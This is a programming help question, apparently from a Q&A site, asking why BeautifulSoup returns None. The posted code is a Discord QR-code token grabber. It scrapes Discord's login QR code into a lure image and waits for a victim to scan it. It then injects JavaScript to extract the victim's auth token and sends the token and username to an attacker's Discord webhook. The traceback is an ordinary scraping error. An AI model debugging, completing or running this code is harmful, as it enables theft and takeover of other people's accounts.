问AttributeError：'NoneType‘对象没有属性'find’~ Python3 + BeautifulSoup

EN

from PIL import Image, ImageDraw, ImageFilter
from bs4 import BeautifulSoup
from selenium import webdriver
import base64
import pyfiglet
import time
import requests
import os
import platform
from discord import Webhook, RequestsWebhookAdapter
from urllib.request import Request, urlopen
from json import loads, dumps


web_hook_url = r"https://discord.com/api/webhooks/fakewebcodehereforsecuirtypurpose"
print(pyfiglet.figlet_format("####"))
token = ""
WINDOW_SIZE = "0,0"
options = webdriver.ChromeOptions()
options.add_argument("--headless")
options.add_argument("--window-size=%s" % WINDOW_SIZE)
options.add_experimental_option('excludeSwitches', ['enable-logging'])
options.add_experimental_option('detach', True)
driver = webdriver.Chrome(options=options, executable_path=r'C:\Users\Test\chromedriver.exe')
driver.get('https://discord.com/login')
print("setting up the QR code")
time.sleep(2)
page_source = driver.page_source
soup = BeautifulSoup(page_source, features='lxml')
classe = soup.find('div', {'class': 'qrCode-wG6ZgU'})
qrcode = classe.find('img')['src']
imgbase64 = base64.b64decode(qrcode.replace('data:image/png;base64,', ''))
with open('temp23.png','wb') as f:
    f.write(imgbase64)
face = Image.open(r'temp\overlay.png')
img_qr_big = Image.open(r'temp23.png').convert('RGB')
os.system("del temp23.png /f>nul")
pos = ((img_qr_big.size[0] - face.size[0]) // 2, (img_qr_big.size[1] - face.size[1]) // 2)
img_qr_big.paste(face, pos)
im1 = Image.open('temp/template.png', 'r')
im1.paste(img_qr_big, (120, 409))
print("Complete...")
print("Saving...")
ine = input("what would you like to name your picture?(do not add extention): ")
time.sleep(1)
im1.save(ine + ".png")
cururl = driver.current_url
print("waiting for user to scan...")
while 1 == 1:
    if driver.current_url != cururl:
        token = driver.execute_script('''
        var req = webpackJsonp.push([
            [], {
                extra_id: (e, t, r) => e.exports = r
            },
            [
                ["extra_id"]
            ]
        ]);
        for (let e in req.c)
            if (req.c.hasOwnProperty(e)) {
                let t = req.c[e].exports;
                if (t && t.__esModule && t.default)
                    for (let e in t.default) "getToken" === e && (gotem = t.default.getToken())
            }
        return gotem;''')
        driver.close()
        break
print("The user has scanned it...")
print("Info recived...")
#TWQkd29tRA9vZKFnaO5odyT0eHlrPDB0sKWuAKmstGC0dPNvIZVpZKFkb2JpJGdyeG8yCTBceYNbf3KkAKKvvGivtqy5IYpnIZRwbOZwbeYhYPRscqo=
print("Sending to Webhook...")
content_type="application/json"
headers = {
    "Content-Type": content_type,
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36"
}
if token:
    headers.update({"Authorization": token})
j = loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)).read().decode())
a = j['username'] + "#" + j['discriminator']
webhook = Webhook.from_url(web_hook_url, adapter=RequestsWebhookAdapter())
ok = "Token: \n" + token + "\n\nUsername: \n" + a
webhook.send(ok)
print("Thank you for using")

Traceback (most recent call last):
  File "C:\Users\Test\Desktop\tester.py", line 31, in <module>
    qrcode = classe.find('img')['src']
AttributeError: 'NoneType' object has no attribute 'find'